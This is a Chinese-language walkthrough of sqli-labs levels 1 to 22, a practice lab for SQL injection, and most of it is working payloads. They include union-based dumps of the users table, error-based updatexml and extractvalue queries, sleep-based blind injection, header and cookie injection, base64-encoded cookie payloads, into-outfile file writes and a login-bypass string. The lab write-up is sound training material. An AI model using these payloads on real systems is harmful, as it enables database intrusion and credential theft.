sqli-labs
Less-1
根据提示输入id
?id=1
回显为:
Welcome Dhakkan Your Login name:Dumb Your Password:Dumb
再将
id
换成其他值,得到回显的是id
对应的的登录名和密码,一直试到id=15发现没有了。这个时候就应该构造错误的语句去猜测SQL 查询语句是怎么样的,从而得到报错信息(通常包含重要的信息)进而进一步接近目标。构造:
?id=1'
得到 回显
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
得知:
数据库是MYSQL
大致语句应该是
SELECT xxx FROM xxx WHERE id=[] LIMIT 0,1
接着输入:
?id=1 and 1=2 --+
回显内容正常,则说明不是数字型注入,接着构造:?id=1' and 1=2--+
发现回显为空,则猜测正确是属于基于字符型的注入。
看看数据有多少列
?id=1' order by 5--+
回显
Unknown column '5' in 'order clause'
说明列数小于5,接着使列数逐渐减小发现列数为3正好正确,说明这个数据表中有3列。
查看显示位数:
?id=-1' union select 1,2,3--+
回显
Your Login name:2 Your Password:3
爆破表名
?id=-1' union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database()--+
回显:
Your Login name:emails,referers,uagents,users Your Password:2
爆破users表的所有字段:
id=-1' union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users'--+
回显:
Your Login name:id,username,password Your Password:2
爆破这些字段的所有数据
?id=-1' union select 1,group_concat(concat('(',id,',',username,',',password,')') separator '<br />'),2 from users--+
回显:
1 | Your Login name:(1,Dumb,Dumb) |
Less-2
- 分别以基于数字型和基于字符型的错误来判断:
- 基于数字型:
?id=1 and 1=2--+
无回显 - 基于字符型:
?id=1' and 1=2--+
回显:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' and 1=2-- LIMIT 0,1' at line 1
说明这是基于数字型的注入。
- 猜测列数:
?id=1 order by 5--+
最后得到也是3列。 - 爆破表名
?id=-1 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database()--+
回显:Your Login name:emails,referers,uagents,users Your Password:2
4.爆破users表的所有字段:?id=-1 union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users'--+
回显:Your Login name:id,username,password Your Password:2
- 爆破这些字段的所有数据
?id=-1 union select 1,group_concat(concat('(',id,',',username,',',password,')') separator '</br>'),2 from users--+
回显:
1 | Your Login name:(1,Dumb,Dumb) |
总结一下前面这两个题的--+
实际上和#
是一样的,都表示注释,所以在--+
前面的注入语句都是可以进入到数据库查询的,这就是这个类型SQL注入的payload。
Less-3
- 猜测注入类型:
?id=1'
回显:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1
得知这是基于字符型的错误,而且还有个重要的信息就是id后面还有个后括号! - 爆破表名
?id=-1') union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database()--+
回显:
``Your Login name:emails,referers,uagents,users
Your Password:2` - 爆破users表的所有字段:
?id=-1') union select 1,group_concat(column_name),2 from information_schema.columns where table_schema=database() and table_name='users'--+
回显:Your Login name:id,username,password Your Password:2
4.爆破这些字段的所有数据?id=-1') union select 1,group_concat(concat('(',id,',',username,',',password,')') separator '</br>'),2 from users--+
回显:
1 | Your Login name:(1,Dumb,Dumb) |
Less-4
- 猜测
?id=1 and 1=2--+ ?id=1' and 1=2--+ ?id=1') and 1=2--+
回显均正常。?id=1" and 1=2--+
回显报错。
尝试?id=1") and 1=2--+
无回显,则表示是基于字符型错误,且还有括号。 - 爆破字段的所有数据
?id=-1") union select 1,group_concat(concat('(',id,',',username,',',password,')') separator '</br>'),2 from users--+
回显:
1 | Your Login name:(1,Dumb,Dumb) |
Less-5
- 判断注入类型
?id=1 and 1=2--+ ?id=1' and 1=2--+
前者正常而后者报错,说明这是单引号的字符型错误。 - 猜列数
?id=1' order by 4--+
?id=1' order by 3--+
回显是前者报错为Unknown column '4' in 'order clause'
,后者回显You are in...........
,说明是3列。 - 猜测数据库名
?id=1' union select count(*),count(*), concat((select database()), floor(rand()*2)) as a from information_schema.tables group by a --+
根据回显得知当前数据库名为 security。 - 列举数据表数量和数据表名
?id=1' union select 1,count(*),concat_ws('QQQQ',(select table_name from information_schema.tables where table_schema='security'),floor(rand()*2))as a from information_schema.tables group by a--+
根据回显得到4.
这里遇到了很多麻烦,最后查到要用limit限制一下,最后得到数据表名为emails, referers, uagents, users
。
5.爆破数据?id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+
一直更改limit的值就可以爆破数据了。
Less-6
- 猜测注入类型
发现仅仅是跟Less-5不同的是这里是双引号注入。
Less-7
这个题实在是没遇见过,查看了源码。网上查找资料参考了一下,原来是导出文件GET字符型注入(双括号单引号字符型注入)
- 查看列数
?id=1')) order by 3--+
根据回显判断确实是3列。且根据前面的报错是数据库select ... into outfile
语法的使用,上网又查了一些资料,构造如下语句:?id=1%27))%20union%20select%20*%20from%20users%20into%20outfile%20%27G:\\phpStudySetup\\PHPTutorial\\WWW\\sqli-labs\\Less-7\\data.txt%27--+
回显:You have an error in your SQL syntax
又跑到网上查询了一下,原来是权限不够,用这个语句试试?id=1')) and user()='root@localhost'--+
得知权限不够。如下图:
接着打开MYSQL配置文件my.ini
设置(添加)参数secure_file_priv =
参考:mysql secure_file_priv 文件读写问题
保存重启MYSQL就OK了。
即使回显You have an error in your SQL syntax
,但是到文件目录可以看到文件已经下载下来了!!!
Less-8
- 测试注入类型
?id=1' and 1=2--+
无回显判断为基于错误类型的单引号注入。
2.依据上题思路下载数据信息?id=1' union select * from users into outfile 'G:\phpStudySetup\PHPTutorial\WWW\sqli-labs\Less-8\\less8.txt'--+
Less-9
- 测试注入类型
网上参考了些资料加之分析了一下源代码,原来是基于时间的单引号注入。
因为以下两个语句明显看到后者反应时间变长了:?id=1 and sleep(5)--+
?id=1' and sleep(5)--+
- 猜测数据库名长度
?id=1' and if(length(database())=number,1,sleep(5))--+
不断改变number
值,当某个值正好无明显的延时的时候则表示这个数字就是数据库名长度,最后得到8
。 - 爆破数据库名
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
- 爆破数据库名爆表名
?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))–+ - 爆破数据表名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
- 爆破数据
?id=1' and if(ascii(substr((select id from security.users limit 0,1),1,1))=0x31,1,sleep(5))--+
id=1' and if(ascii(substr((select username from security.users limit 0,1),1,1))=68,1,sleep(5))--+
Less-10
- 判断注入类型
将上题的单引号改为双引号后,发现对了,正好就是基于时间错误的双引号注入。
Less-11
这个题是POST类型的注入,我这里使用的是Firefox的插件Hackbar。注意在 Mozilla FireFox 的 Hackbar 中,Post data 的注释用 –<空格> 而不是 –+ (很奇怪),导致我原来一直报错,然后我就把注释改成 # 了
- 检查表单的用户名和密码的
name
属性:
- 判断注入类型
在 username 中输入admin'--+
,很奇怪,若输入admin'#
则直接获得admin的信息了。
在 password 中输入任意内容
回显内容:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' LIMIT 0,1' at line 1
根据回显判断为:基于错误的POST型单引号字符型注入。
或者使用万能密码:
1 | 在 username 中输入 admin' or '1'='1 |
- 猜列数
uname=1&passwd=1' or 1 order by 3#&submit=Submit
uname=1&passwd=1' or 1 order by 2#&submit=Submit
说明有2列。 - 结合Less-1爆破表名
uname=1&passwd=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
回显:Your Login name:1 Your Password:emails,referers,uagents,users
- 爆破列名
uname=1&passwd=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
回显:Your Login name:1 Your Password:id,username,password
- 爆破数据
uname=1&passwd=1' union select 1,group_concat(concat('(',id,',',username,',',password,')') separator '</br>') from users#
回显:
1 | Your Login name:1 |
Less-12
- 判断注入类型
这个题花了我很多时间,主要还是因为题目说是双引号,所以我就试了很多次都没成。但是最后看了一下源代码,原来是双引号与括号的闭合。故是在上一个题的基础上,把单引号'
改成")
就可以了。 - 爆破数据
uname=1&passwd=1") union select 1,group_concat(concat('(',id,',',username,',',password,')') separator '</br>') from users#
回显:
1 | Your Login name:1 |
Less-13
- 判断注入类型
username 输入 admin' password 输入 任意内容
回显报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1') LIMIT 0,1' at line 1
得知后面还有一个括号,本以为将Less-12的双引号"
改成单引号'
就可以了,但是这个题没有报错。 - 爆破数据库名
方法一:二分法
方法二:双查询报错uname=1&passwd=1') union select count(*),concat("~~",(select database()),"~~",floor(rand()*2))as a from information_schema.tables group by a#
回显:Duplicate entry '~~security~~1' for key 'group_key'
得到数据库名是security
- 猜测数据表名
uname=1&passwd=1') union select count(*),concat("~~",(select table_name from information_schema.tables where table_schema=database() limit 3,4),"~~",floor(rand()*2))as a from information_schema.tables group by a#
不断更改limit的值就可以了。
回显:Duplicate entry '~~users~~1' for key 'group_key'
4.爆破数据
不断更改limit值即可uname= ') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 #
Less-14
- 猜测注入类型
username 输入 admin" password 输入 任意
实际上就是将上一题的')
改为"
即可。 - 爆破数据
uname= " union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a # &passwd= ') or 1=1 #
不断更改limit即可。
Less-15
- 注入类型判断
uname=admin' or '1'='1
回显成功,但是根据题目提示,最后判为延时型的注入。 - 爆破数据
借助于Less-13即可
Less-16
- 判断注入类型 构造语句
uname=admin")
判断出是双引号加括号的注入,但是不报错。后来看了源码,是基 于时间错误的注入。 - 爆破数据 借助于Less-13即可。
Less-17
判断错误类型 这个题实在是找不到是啥注入,后来看了源码,首先有个过滤函数,
check_input
、check_input
首先判断不为空,就截取前15个字符,当magic_quotes_gpc=On
的时候,函数get_magic_quotes_gpc()
就会返回1。当magic_quotes_gpc=Off
的时候,函数get_magic_quotes_gpc()
就会返回0。magic_quotes_gpc
函数在php中的作用是判断解析用户提示的 数据,如包括有:post、get、cookie
过来的数据增加转义字符\,以确保这些数据不会引起程序,特别是数据库 语句因为特殊字符引起的污染而出现致命的错误。若开了就将转义符去掉。ctype_digit
判断是不是数字, 是数字就返回true
,否则返回false
。是字符就用mysql_real_escape_string
过滤,其实基本就是转义 (转义SQL语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集),这样就把宽字节cut了。是数 字也要用intval转化成int,因为传过来的是字符型数字。爆破数据库名
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
得到:XPATH syntax error: '~security~'
爆破数据表名
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
得到:XPATH syntax error: '~emails,referers,uagents,users~'
爆破数据
uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select username from (select username from users)a limit 0,1),0x7e),1)#
Less-18
- 判断注入类型 查看了一下源码,得知这个题启用了代理。
- 爆破数据表名 参考Less-5
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1),0x7e),1) and '1'='1
即可得到数据。
Less-19
判断注入类型 查看了源码,这关跟18关差不多,就是有点稍微的变化,这关改的是Referer。
查数据表名 把Referer改为:
'or updatexml('1',concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1)),0),'~')#
爆破数据 把Referer改为:
'or extractvalue(1,concat('~',(select concat('~',username,password) from users limit 1,1))),'')#
即可。
Less-20
- 判断错误类型 查看了源码发现跟上题差不多,只不过是将Referer改为Cookie即可了。
- 爆破数据 使用 burpsuite-reperter 抓包添加一行 cookie 值,将Cookie值设置为
uname=1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
即可。
Less-21
- 判断错误类型 查看了一下源代码,本关对 cookie 进行了 base64 的处理,其他的处理流程和 less20 是一样 的。 我们这里可以利用 less20 同样的方法,但是需要将 payload 进行 base64 编码处理(注意这里对uname 进行了(‘uname’)的处理) Cookie:
uname=YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQGJhc2Vka XIpLDB4N2UpKSM=
在浏览器输入正确的用户名和密码admin:admin
修改 cookie 值为uname=admin1'and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#
。接着使用上一题的方法即可。
Less-22
- 判断错误类型 插卡看源代码,Cookie 处理方式和上题是一样的,都用了 base64 编码,唯一的不同是闭合方 式变成了双引号。
admin1"and extractvalue(1,concat(0x7e,(select database()),0x7e))#
base64 编码之后:cookie:YWRtaW4xImFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IGRhdGFiYXNlKCkpLDB 4N2UpKSM=
最后更改闭合方式结合less20、less21 可以构造payload即可。